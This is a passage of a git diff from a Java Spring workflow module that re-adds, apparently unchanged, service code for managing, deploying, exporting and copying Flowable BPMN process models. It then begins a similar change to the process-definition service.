(StringUtils.isNotBlank(modelBo.getName())) { - query.modelNameLike("%" + modelBo.getName() + "%"); - } - if (StringUtils.isNotBlank(modelBo.getKey())) { - query.modelKey(modelBo.getKey()); - } - if (StringUtils.isNotBlank(modelBo.getCategoryCode())) { - query.modelCategory(modelBo.getCategoryCode()); - } - query.orderByLastUpdateTime().desc(); - // 创建时间降序排列 - query.orderByCreateTime().desc(); - // 分页查询 - List modelList = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); - // 总记录数 - long total = query.count(); - TableDataInfo build = TableDataInfo.build(); - build.setRows(modelList); - build.setTotal(total); - return build; - } - - /** - * 新增模型 - * - * @param modelBo 模型请求对象 - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean saveNewModel(ModelBo modelBo) { - try { - int version = 0; - String key = modelBo.getKey(); - String name = modelBo.getName(); - String description = modelBo.getDescription(); - String categoryCode = modelBo.getCategoryCode(); - String xml = modelBo.getXml(); - Model checkModel = QueryUtils.modelQuery().modelKey(key).singleResult(); - if (ObjectUtil.isNotNull(checkModel)) { - throw new ServiceException("模型key已存在!"); - } - //初始空的模型 - Model model = repositoryService.newModel(); - model.setKey(key); - model.setName(name); - model.setVersion(version); - model.setCategory(categoryCode); - model.setMetaInfo(description); - model.setTenantId(TenantHelper.getTenantId()); - //保存初始化的模型基本信息数据 - repositoryService.saveModel(model); - repositoryService.addModelEditorSource(model.getId(), StrUtil.utf8Bytes(xml)); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 查询模型 - * - * @param id 模型id - * @return 模型数据 - */ - @Override - public ModelVo getInfo(String id) { - ModelVo modelVo = new ModelVo(); - Model model = repositoryService.getModel(id); - if (model != null) { - try { - byte[] modelEditorSource = repositoryService.getModelEditorSource(model.getId()); - modelVo.setXml(StrUtil.utf8Str(modelEditorSource)); - modelVo.setId(model.getId()); - modelVo.setKey(model.getKey()); - modelVo.setName(model.getName()); - modelVo.setCategoryCode(model.getCategory()); - modelVo.setDescription(model.getMetaInfo()); - return modelVo; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - return modelVo; - } - - /** - * 修改模型信息 - * - * @param modelBo 模型数据 - * @return 结果 - */ - @Override - public boolean update(ModelBo modelBo) { - try { - Model model = repositoryService.getModel(modelBo.getId()); - List list = QueryUtils.modelQuery().modelKey(modelBo.getKey()).list(); - list.stream().filter(e -> !e.getId().equals(model.getId())).findFirst().ifPresent(e -> { - throw new ServiceException("模型KEY已存在!"); - }); - model.setCategory(modelBo.getCategoryCode()); - model.setMetaInfo(modelBo.getDescription()); - repositoryService.saveModel(model); - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - return true; - } - - /** - * 编辑模型XML - * - * @param modelBo 模型数据 - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean editModelXml(ModelBo modelBo) { - try { - String xml = modelBo.getXml(); - String svg = modelBo.getSvg(); - String modelId = modelBo.getId(); - String key = modelBo.getKey(); - String name = modelBo.getName(); - BpmnModel bpmnModel = ModelUtils.xmlToBpmnModel(xml); - ModelUtils.checkBpmnModel(bpmnModel); - Model model = repositoryService.getModel(modelId); - List list = QueryUtils.modelQuery().modelKey(key).list(); - list.stream().filter(e -> !e.getId().equals(model.getId())).findFirst().ifPresent(e -> { - throw new ServiceException("模型KEY已存在!"); - }); - // 校验key命名规范 - if (!Validator.isMatchRegex(FlowConstant.MODEL_KEY_PATTERN, key)) { - throw new ServiceException("模型标识KEY只能字符或者下划线开头!"); - } - model.setKey(key); - model.setName(name); - model.setVersion(model.getVersion() + 1); - repositoryService.saveModel(model); - repositoryService.addModelEditorSource(model.getId(), StrUtil.utf8Bytes(xml)); - // 转换图片 - InputStream svgStream = new ByteArrayInputStream(StrUtil.utf8Bytes(svg)); - TranscoderInput input = new TranscoderInput(svgStream); - - PNGTranscoder transcoder = new PNGTranscoder(); - ByteArrayOutputStream outStream = new ByteArrayOutputStream(); - TranscoderOutput output = new TranscoderOutput(outStream); - - transcoder.transcode(input, output); - final byte[] result = outStream.toByteArray(); - repositoryService.addModelEditorSourceExtra(model.getId(), result); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 模型部署 - * - * @param id 模型id - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean modelDeploy(String id) { - try { - // 查询流程定义模型xml - byte[] xmlBytes = repositoryService.getModelEditorSource(id); - if (ArrayUtil.isEmpty(xmlBytes)) { - throw new ServiceException("模型数据为空,请先设计流程定义模型,再进行部署!"); - } - if (JSONUtil.isTypeJSON(new String(xmlBytes, StandardCharsets.UTF_8))) { - byte[] bytes = ModelUtils.bpmnJsonToXmlBytes(xmlBytes); - if (ArrayUtil.isEmpty(bytes)) { - throw new ServiceException("模型不能为空,请至少设计一条主线流程!"); - } - } - BpmnModel bpmnModel = ModelUtils.xmlToBpmnModel(xmlBytes); - // 校验模型 - ModelUtils.checkBpmnModel(bpmnModel); - List validationErrors = repositoryService.validateProcess(bpmnModel); - if (CollUtil.isNotEmpty(validationErrors)) { - String errorMsg = validationErrors.stream().map(ValidationError::getProblem).distinct().collect(Collectors.joining(",")); - throw new ServiceException(errorMsg); - } - // 查询模型的基本信息 - Model model = repositoryService.getModel(id); - ProcessDefinition processDefinition = QueryUtils.definitionQuery().processDefinitionKey(model.getKey()).latestVersion().singleResult(); - // xml资源的名称 ,对应act_ge_bytearray表中的name_字段 - String processName = model.getName() + ".bpmn20.xml"; - // 调用部署相关的api方法进行部署流程定义 - Deployment deployment = repositoryService.createDeployment() - // 部署名称 - .name(model.getName()) - // 部署标识key - .key(model.getKey()) - // 部署流程分类 - .category(model.getCategory()) - // bpmn20.xml资源 - .addBytes(processName, xmlBytes) - // 租户id - .tenantId(TenantHelper.getTenantId()) - .deploy(); - - // 更新 部署id 到流程定义模型数据表中 - model.setDeploymentId(deployment.getId()); - repositoryService.saveModel(model); - // 更新分类 - ProcessDefinition definition = QueryUtils.definitionQuery().deploymentId(deployment.getId()).singleResult(); - repositoryService.setProcessDefinitionCategory(definition.getId(), model.getCategory()); - //更新流程定义配置 - if (processDefinition != null) { - WfDefinitionConfigVo definitionVo = wfDefinitionConfigService.getByDefId(processDefinition.getId()); - if (definitionVo != null) { - wfDefinitionConfigService.deleteByDefIds(Collections.singletonList(processDefinition.getId())); - WfDefinitionConfigBo wfFormDefinition = new WfDefinitionConfigBo(); - wfFormDefinition.setDefinitionId(definition.getId()); - wfFormDefinition.setProcessKey(definition.getKey()); - wfFormDefinition.setTableName(definitionVo.getTableName()); - wfFormDefinition.setVersion(definition.getVersion()); - wfFormDefinition.setRemark(definitionVo.getRemark()); - wfDefinitionConfigService.saveOrUpdate(wfFormDefinition); - } - } - //更新流程节点配置表单 - List userTasks = ModelUtils.getUserTaskFlowElements(definition.getId()); - UserTask applyUserTask = ModelUtils.getApplyUserTask(definition.getId()); - List wfNodeConfigList = new ArrayList<>(); - for (UserTask userTask : userTasks) { - if (StringUtils.isNotBlank(userTask.getFormKey()) && userTask.getFormKey().contains(StrUtil.COLON)) { - WfNodeConfig wfNodeConfig = new WfNodeConfig(); - wfNodeConfig.setNodeId(userTask.getId()); - wfNodeConfig.setNodeName(userTask.getName()); - wfNodeConfig.setDefinitionId(definition.getId()); - String[] split = userTask.getFormKey().split(StrUtil.COLON); - wfNodeConfig.setFormType(split[0]); - wfNodeConfig.setFormId(Long.valueOf(split[1])); - wfNodeConfig.setApplyUserTask(applyUserTask.getId().equals(userTask.getId()) ? FlowConstant.TRUE : FlowConstant.FALSE); - wfNodeConfigList.add(wfNodeConfig); - } - } - if (CollUtil.isNotEmpty(wfNodeConfigList)) { - wfNodeConfigService.saveOrUpdate(wfNodeConfigList); - } - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 导出模型zip压缩包 - * - * @param modelIds 模型id - * @param response 相应 - */ - @Override - public void exportZip(List modelIds, HttpServletResponse response) { - try (ZipOutputStream zos = ZipUtil.getZipOutputStream(response.getOutputStream(), StandardCharsets.UTF_8)) { - // 压缩包文件名 - String zipName = "模型不存在"; - // 查询模型基本信息 - for (String modelId : modelIds) { - Model model = repositoryService.getModel(modelId); - byte[] xmlBytes = repositoryService.getModelEditorSource(modelId); - if (ObjectUtil.isNotNull(model)) { - if (JSONUtil.isTypeJSON(new String(xmlBytes, StandardCharsets.UTF_8)) && ArrayUtil.isEmpty(ModelUtils.bpmnJsonToXmlBytes(xmlBytes))) { - zipName = "模型不能为空,请至少设计一条主线流程!"; - zos.putNextEntry(new ZipEntry(zipName + ".txt")); - zos.write(zipName.getBytes(StandardCharsets.UTF_8)); - } else if (ArrayUtil.isEmpty(xmlBytes)) { - zipName = "模型数据为空,请先设计流程定义模型,再进行部署!"; - zos.putNextEntry(new ZipEntry(zipName + ".txt")); - zos.write(zipName.getBytes(StandardCharsets.UTF_8)); - } else { - String fileName = model.getName() + "-" + model.getKey(); - // 压缩包文件名 - zipName = fileName + ".zip"; - // 将xml添加到压缩包中(指定xml文件名:请假流程.bpmn20.xml - zos.putNextEntry(new ZipEntry(fileName + ".bpmn20.xml")); - zos.write(xmlBytes); - } - } - } - response.setHeader("Content-Disposition", - "attachment; filename=" + URLEncoder.encode(zipName, StandardCharsets.UTF_8) + ".zip"); - response.addHeader("Access-Control-Expose-Headers", "Content-Disposition"); - // 刷出响应流 - response.flushBuffer(); - } catch (IOException e) { - log.error(e.getMessage(), e); - } - } - - /** - * 复制模型 - * - * @param modelBo 模型数据 - * @return 结果 - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean copyModel(ModelBo modelBo) { - try { - String key = modelBo.getKey(); - if (StringUtils.isNotBlank(key)) { - // 查询模型 - Model model = repositoryService.createModelQuery().modelId(modelBo.getId()).singleResult(); - if (ObjectUtil.isNotNull(model)) { - byte[] modelEditorSource = repositoryService.getModelEditorSource(model.getId()); - List list = QueryUtils.modelQuery().modelKey(key).list(); - if (CollUtil.isNotEmpty(list)) { - throw new ServiceException("模型KEY已存在!"); - } - // 校验key命名规范 - if (!Validator.isMatchRegex(FlowConstant.MODEL_KEY_PATTERN, key)) { - throw new ServiceException("模型标识KEY只能字符或者下划线开头!"); - } - // 复制模型数据 - Model newModel = repositoryService.newModel(); - newModel.setKey(modelBo.getKey()); - newModel.setName(modelBo.getName()); - newModel.setCategory(modelBo.getCategoryCode()); - newModel.setVersion(1); - newModel.setMetaInfo(modelBo.getDescription()); - newModel.setTenantId(TenantHelper.getTenantId()); - String xml = StrUtil.utf8Str(modelEditorSource); - BpmnModel bpmnModel = ModelUtils.xmlToBpmnModel(xml); - Process mainProcess = bpmnModel.getMainProcess(); - mainProcess.setId(modelBo.getKey()); - mainProcess.setName(modelBo.getName()); - byte[] xmlBytes = new BpmnXMLConverter().convertToXML(bpmnModel); - repositoryService.saveModel(newModel); - repositoryService.addModelEditorSource(newModel.getId(), xmlBytes); - } - } - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - return true; - } -} +package org.dromara.workflow.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.lang.Validator; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.core.util.StrUtil; +import cn.hutool.core.util.ZipUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.excel.util.StringUtils; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.apache.batik.transcoder.TranscoderInput; +import org.apache.batik.transcoder.TranscoderOutput; +import org.apache.batik.transcoder.image.PNGTranscoder; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.workflow.common.constant.FlowConstant; +import org.dromara.workflow.domain.WfNodeConfig; +import org.dromara.workflow.domain.bo.ModelBo; +import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; +import org.dromara.workflow.domain.vo.ModelVo; +import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; +import org.dromara.workflow.service.IActModelService; +import org.dromara.workflow.service.IWfDefinitionConfigService; +import org.dromara.workflow.service.IWfNodeConfigService; +import org.dromara.workflow.utils.ModelUtils; +import org.dromara.workflow.utils.QueryUtils; +import org.flowable.bpmn.converter.BpmnXMLConverter; +import org.flowable.bpmn.model.BpmnModel; +import org.flowable.bpmn.model.Process; +import org.flowable.bpmn.model.UserTask; +import org.flowable.engine.RepositoryService; +import org.flowable.engine.repository.Deployment; +import org.flowable.engine.repository.Model; +import org.flowable.engine.repository.ModelQuery; +import org.flowable.engine.repository.ProcessDefinition; +import org.flowable.validation.ValidationError; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +/** + * 模型管理 服务层实现 + * + * @author may + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class ActModelServiceImpl implements IActModelService { + + @Autowired(required = false) + private RepositoryService repositoryService; + private final IWfNodeConfigService wfNodeConfigService; + private final IWfDefinitionConfigService wfDefinitionConfigService; + + /** + * 分页查询模型 + * + * @param modelBo 模型参数 + * @return 返回分页列表 + */ + @Override + public TableDataInfo page(ModelBo modelBo, PageQuery pageQuery) { + ModelQuery query = QueryUtils.modelQuery(); + if (StringUtils.isNotBlank(modelBo.getName())) { + query.modelNameLike("%" + modelBo.getName() + "%"); + } + if (StringUtils.isNotBlank(modelBo.getKey())) { + query.modelKey(modelBo.getKey()); + } + if (StringUtils.isNotBlank(modelBo.getCategoryCode())) { + query.modelCategory(modelBo.getCategoryCode()); + } + query.orderByLastUpdateTime().desc(); + // 创建时间降序排列 + query.orderByCreateTime().desc(); + // 分页查询 + List modelList = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); + // 总记录数 + long total = query.count(); + TableDataInfo build = TableDataInfo.build(); + build.setRows(modelList); + build.setTotal(total); + return build; + } + + /** + * 新增模型 + * + * @param modelBo 模型请求对象 + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean saveNewModel(ModelBo modelBo) { + try { + int version = 0; + String key = modelBo.getKey(); + String name = modelBo.getName(); + String description = modelBo.getDescription(); + String categoryCode = modelBo.getCategoryCode(); + String xml = modelBo.getXml(); + Model checkModel = QueryUtils.modelQuery().modelKey(key).singleResult(); + if (ObjectUtil.isNotNull(checkModel)) { + throw new ServiceException("模型key已存在!"); + } + //初始空的模型 + Model model = repositoryService.newModel(); + model.setKey(key); + model.setName(name); + model.setVersion(version); + model.setCategory(categoryCode); + model.setMetaInfo(description); + model.setTenantId(TenantHelper.getTenantId()); + //保存初始化的模型基本信息数据 + repositoryService.saveModel(model); + repositoryService.addModelEditorSource(model.getId(), StrUtil.utf8Bytes(xml)); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 查询模型 + * + * @param id 模型id + * @return 模型数据 + */ + @Override + public ModelVo getInfo(String id) { + ModelVo modelVo = new ModelVo(); + Model model = repositoryService.getModel(id); + if (model != null) { + try { + byte[] modelEditorSource = repositoryService.getModelEditorSource(model.getId()); + modelVo.setXml(StrUtil.utf8Str(modelEditorSource)); + modelVo.setId(model.getId()); + modelVo.setKey(model.getKey()); + modelVo.setName(model.getName()); + modelVo.setCategoryCode(model.getCategory()); + modelVo.setDescription(model.getMetaInfo()); + return modelVo; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + return modelVo; + } + + /** + * 修改模型信息 + * + * @param modelBo 模型数据 + * @return 结果 + */ + @Override + public boolean update(ModelBo modelBo) { + try { + Model model = repositoryService.getModel(modelBo.getId()); + List list = QueryUtils.modelQuery().modelKey(modelBo.getKey()).list(); + list.stream().filter(e -> !e.getId().equals(model.getId())).findFirst().ifPresent(e -> { + throw new ServiceException("模型KEY已存在!"); + }); + model.setCategory(modelBo.getCategoryCode()); + model.setMetaInfo(modelBo.getDescription()); + repositoryService.saveModel(model); + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + return true; + } + + /** + * 编辑模型XML + * + * @param modelBo 模型数据 + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean editModelXml(ModelBo modelBo) { + try { + String xml = modelBo.getXml(); + String svg = modelBo.getSvg(); + String modelId = modelBo.getId(); + String key = modelBo.getKey(); + String name = modelBo.getName(); + BpmnModel bpmnModel = ModelUtils.xmlToBpmnModel(xml); + ModelUtils.checkBpmnModel(bpmnModel); + Model model = repositoryService.getModel(modelId); + List list = QueryUtils.modelQuery().modelKey(key).list(); + list.stream().filter(e -> !e.getId().equals(model.getId())).findFirst().ifPresent(e -> { + throw new ServiceException("模型KEY已存在!"); + }); + // 校验key命名规范 + if (!Validator.isMatchRegex(FlowConstant.MODEL_KEY_PATTERN, key)) { + throw new ServiceException("模型标识KEY只能字符或者下划线开头!"); + } + model.setKey(key); + model.setName(name); + model.setVersion(model.getVersion() + 1); + repositoryService.saveModel(model); + repositoryService.addModelEditorSource(model.getId(), StrUtil.utf8Bytes(xml)); + // 转换图片 + InputStream svgStream = new ByteArrayInputStream(StrUtil.utf8Bytes(svg)); + TranscoderInput input = new TranscoderInput(svgStream); + + PNGTranscoder transcoder = new PNGTranscoder(); + ByteArrayOutputStream outStream = new ByteArrayOutputStream(); + TranscoderOutput output = new TranscoderOutput(outStream); + + transcoder.transcode(input, output); + final byte[] result = outStream.toByteArray(); + repositoryService.addModelEditorSourceExtra(model.getId(), result); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 模型部署 + * + * @param id 模型id + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean modelDeploy(String id) { + try { + // 查询流程定义模型xml + byte[] xmlBytes = repositoryService.getModelEditorSource(id); + if (ArrayUtil.isEmpty(xmlBytes)) { + throw new ServiceException("模型数据为空,请先设计流程定义模型,再进行部署!"); + } + if (JSONUtil.isTypeJSON(new String(xmlBytes, StandardCharsets.UTF_8))) { + byte[] bytes = ModelUtils.bpmnJsonToXmlBytes(xmlBytes); + if (ArrayUtil.isEmpty(bytes)) { + throw new ServiceException("模型不能为空,请至少设计一条主线流程!"); + } + } + BpmnModel bpmnModel = ModelUtils.xmlToBpmnModel(xmlBytes); + // 校验模型 + ModelUtils.checkBpmnModel(bpmnModel); + List validationErrors = repositoryService.validateProcess(bpmnModel); + if (CollUtil.isNotEmpty(validationErrors)) { + String errorMsg = validationErrors.stream().map(ValidationError::getProblem).distinct().collect(Collectors.joining(",")); + throw new ServiceException(errorMsg); + } + // 查询模型的基本信息 + Model model = repositoryService.getModel(id); + ProcessDefinition processDefinition = QueryUtils.definitionQuery().processDefinitionKey(model.getKey()).latestVersion().singleResult(); + // xml资源的名称 ,对应act_ge_bytearray表中的name_字段 + String processName = model.getName() + ".bpmn20.xml"; + // 调用部署相关的api方法进行部署流程定义 + Deployment deployment = repositoryService.createDeployment() + // 部署名称 + .name(model.getName()) + // 部署标识key + .key(model.getKey()) + // 部署流程分类 + .category(model.getCategory()) + // bpmn20.xml资源 + .addBytes(processName, xmlBytes) + // 租户id + .tenantId(TenantHelper.getTenantId()) + .deploy(); + + // 更新 部署id 到流程定义模型数据表中 + model.setDeploymentId(deployment.getId()); + repositoryService.saveModel(model); + // 更新分类 + ProcessDefinition definition = QueryUtils.definitionQuery().deploymentId(deployment.getId()).singleResult(); + repositoryService.setProcessDefinitionCategory(definition.getId(), model.getCategory()); + //更新流程定义配置 + if (processDefinition != null) { + WfDefinitionConfigVo definitionVo = wfDefinitionConfigService.getByDefId(processDefinition.getId()); + if (definitionVo != null) { + wfDefinitionConfigService.deleteByDefIds(Collections.singletonList(processDefinition.getId())); + WfDefinitionConfigBo wfFormDefinition = new WfDefinitionConfigBo(); + wfFormDefinition.setDefinitionId(definition.getId()); + wfFormDefinition.setProcessKey(definition.getKey()); + wfFormDefinition.setTableName(definitionVo.getTableName()); + wfFormDefinition.setVersion(definition.getVersion()); + wfFormDefinition.setRemark(definitionVo.getRemark()); + wfDefinitionConfigService.saveOrUpdate(wfFormDefinition); + } + } + //更新流程节点配置表单 + List userTasks = ModelUtils.getUserTaskFlowElements(definition.getId()); + UserTask applyUserTask = ModelUtils.getApplyUserTask(definition.getId()); + List wfNodeConfigList = new ArrayList<>(); + for (UserTask userTask : userTasks) { + if (StringUtils.isNotBlank(userTask.getFormKey()) && userTask.getFormKey().contains(StrUtil.COLON)) { + WfNodeConfig wfNodeConfig = new WfNodeConfig(); + wfNodeConfig.setNodeId(userTask.getId()); + wfNodeConfig.setNodeName(userTask.getName()); + wfNodeConfig.setDefinitionId(definition.getId()); + String[] split = userTask.getFormKey().split(StrUtil.COLON); + wfNodeConfig.setFormType(split[0]); + wfNodeConfig.setFormId(Long.valueOf(split[1])); + wfNodeConfig.setApplyUserTask(applyUserTask.getId().equals(userTask.getId()) ? FlowConstant.TRUE : FlowConstant.FALSE); + wfNodeConfigList.add(wfNodeConfig); + } + } + if (CollUtil.isNotEmpty(wfNodeConfigList)) { + wfNodeConfigService.saveOrUpdate(wfNodeConfigList); + } + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 导出模型zip压缩包 + * + * @param modelIds 模型id + * @param response 相应 + */ + @Override + public void exportZip(List modelIds, HttpServletResponse response) { + try (ZipOutputStream zos = ZipUtil.getZipOutputStream(response.getOutputStream(), StandardCharsets.UTF_8)) { + // 压缩包文件名 + String zipName = "模型不存在"; + // 查询模型基本信息 + for (String modelId : modelIds) { + Model model = repositoryService.getModel(modelId); + byte[] xmlBytes = repositoryService.getModelEditorSource(modelId); + if (ObjectUtil.isNotNull(model)) { + if (JSONUtil.isTypeJSON(new String(xmlBytes, StandardCharsets.UTF_8)) && ArrayUtil.isEmpty(ModelUtils.bpmnJsonToXmlBytes(xmlBytes))) { + zipName = "模型不能为空,请至少设计一条主线流程!"; + zos.putNextEntry(new ZipEntry(zipName + ".txt")); + zos.write(zipName.getBytes(StandardCharsets.UTF_8)); + } else if (ArrayUtil.isEmpty(xmlBytes)) { + zipName = "模型数据为空,请先设计流程定义模型,再进行部署!"; + zos.putNextEntry(new ZipEntry(zipName + ".txt")); + zos.write(zipName.getBytes(StandardCharsets.UTF_8)); + } else { + String fileName = model.getName() + "-" + model.getKey(); + // 压缩包文件名 + zipName = fileName + ".zip"; + // 将xml添加到压缩包中(指定xml文件名:请假流程.bpmn20.xml + zos.putNextEntry(new ZipEntry(fileName + ".bpmn20.xml")); + zos.write(xmlBytes); + } + } + } + response.setHeader("Content-Disposition", + "attachment; filename=" + URLEncoder.encode(zipName, StandardCharsets.UTF_8) + ".zip"); + response.addHeader("Access-Control-Expose-Headers", "Content-Disposition"); + // 刷出响应流 + response.flushBuffer(); + } catch (IOException e) { + log.error(e.getMessage(), e); + } + } + + /** + * 复制模型 + * + * @param modelBo 模型数据 + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean copyModel(ModelBo modelBo) { + try { + String key = modelBo.getKey(); + if (StringUtils.isNotBlank(key)) { + // 查询模型 + Model model = repositoryService.createModelQuery().modelId(modelBo.getId()).singleResult(); + if (ObjectUtil.isNotNull(model)) { + byte[] modelEditorSource = repositoryService.getModelEditorSource(model.getId()); + List list = QueryUtils.modelQuery().modelKey(key).list(); + if (CollUtil.isNotEmpty(list)) { + throw new ServiceException("模型KEY已存在!"); + } + // 校验key命名规范 + if (!Validator.isMatchRegex(FlowConstant.MODEL_KEY_PATTERN, key)) { + throw new ServiceException("模型标识KEY只能字符或者下划线开头!"); + } + // 复制模型数据 + Model newModel = repositoryService.newModel(); + newModel.setKey(modelBo.getKey()); + newModel.setName(modelBo.getName()); + newModel.setCategory(modelBo.getCategoryCode()); + newModel.setVersion(1); + newModel.setMetaInfo(modelBo.getDescription()); + newModel.setTenantId(TenantHelper.getTenantId()); + String xml = StrUtil.utf8Str(modelEditorSource); + BpmnModel bpmnModel = ModelUtils.xmlToBpmnModel(xml); + Process mainProcess = bpmnModel.getMainProcess(); + mainProcess.setId(modelBo.getKey()); + mainProcess.setName(modelBo.getName()); + byte[] xmlBytes = new BpmnXMLConverter().convertToXML(bpmnModel); + repositoryService.saveModel(newModel); + repositoryService.addModelEditorSource(newModel.getId(), xmlBytes); + } + } + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + return true; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActProcessDefinitionServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActProcessDefinitionServiceImpl.java index 77fb257..233a6f7 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActProcessDefinitionServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActProcessDefinitionServiceImpl.java @@ -1,444 +1,444 @@ -package org.dromara.workflow.service.impl; - -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.codec.Base64; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.io.FileUtil; -import cn.hutool.core.io.IoUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.core.util.StrUtil; -import lombok.RequiredArgsConstructor; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.workflow.common.constant.FlowConstant; -import org.dromara.workflow.domain.WfCategory; -import org.dromara.workflow.domain.WfDefinitionConfig; -import org.dromara.workflow.domain.WfNodeConfig; -import org.dromara.workflow.domain.bo.ProcessDefinitionBo; -import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; -import org.dromara.workflow.domain.vo.ProcessDefinitionVo; -import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; -import org.dromara.workflow.mapper.WfDefinitionConfigMapper; -import org.dromara.workflow.service.IActProcessDefinitionService; -import org.dromara.workflow.service.IWfCategoryService; -import org.dromara.workflow.service.IWfDefinitionConfigService; -import org.dromara.workflow.service.IWfNodeConfigService; -import org.dromara.workflow.utils.ModelUtils; -import org.dromara.workflow.utils.QueryUtils; -import org.flowable.bpmn.model.UserTask; -import org.flowable.engine.ProcessMigrationService; -import org.flowable.engine.RepositoryService; -import org.flowable.engine.history.HistoricProcessInstance; -import org.flowable.engine.impl.bpmn.deployer.ResourceNameUtil; -import org.flowable.engine.repository.*; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; -import org.springframework.web.multipart.MultipartFile; - -import java.io.IOException; -import java.io.InputStream; -import java.nio.charset.StandardCharsets; -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; -import java.util.Set; -import java.util.zip.ZipEntry; -import java.util.zip.ZipInputStream; - -/** - * 流程定义 服务层实现 - * - * @author may - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class ActProcessDefinitionServiceImpl implements IActProcessDefinitionService { - - @Autowired(required = false) - private RepositoryService repositoryService; - @Autowired(required = false) - private ProcessMigrationService processMigrationService; - private final IWfCategoryService wfCategoryService; - private final IWfDefinitionConfigService wfDefinitionConfigService; - private final WfDefinitionConfigMapper wfDefinitionConfigMapper; - private final IWfNodeConfigService wfNodeConfigService; - - /** - * 分页查询 - * - * @param bo 参数 - * @return 返回分页列表 - */ - @Override - public TableDataInfo page(ProcessDefinitionBo bo, PageQuery pageQuery) { - ProcessDefinitionQuery query = QueryUtils.definitionQuery(); - if (StringUtils.isNotEmpty(bo.getKey())) { - query.processDefinitionKey(bo.getKey()); - } - if (StringUtils.isNotEmpty(bo.getCategoryCode())) { - query.processDefinitionCategory(bo.getCategoryCode()); - } - if (StringUtils.isNotEmpty(bo.getName())) { - query.processDefinitionNameLike("%" + bo.getName() + "%"); - } - query.orderByDeploymentId().desc(); - // 分页查询 - List processDefinitionVoList = new ArrayList<>(); - List definitionList = query.latestVersion().listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); - List deploymentList = null; - if (CollUtil.isNotEmpty(definitionList)) { - List deploymentIds = StreamUtils.toList(definitionList, ProcessDefinition::getDeploymentId); - deploymentList = QueryUtils.deploymentQuery(deploymentIds).list(); - } - if (CollUtil.isNotEmpty(definitionList)) { - List ids = StreamUtils.toList(definitionList, ProcessDefinition::getId); - List wfDefinitionConfigVos = wfDefinitionConfigService.queryList(ids); - for (ProcessDefinition processDefinition : definitionList) { - ProcessDefinitionVo processDefinitionVo = BeanUtil.toBean(processDefinition, ProcessDefinitionVo.class); - if (CollUtil.isNotEmpty(deploymentList)) { - // 部署时间 - deploymentList.stream().filter(e -> e.getId().equals(processDefinition.getDeploymentId())).findFirst().ifPresent(e -> { 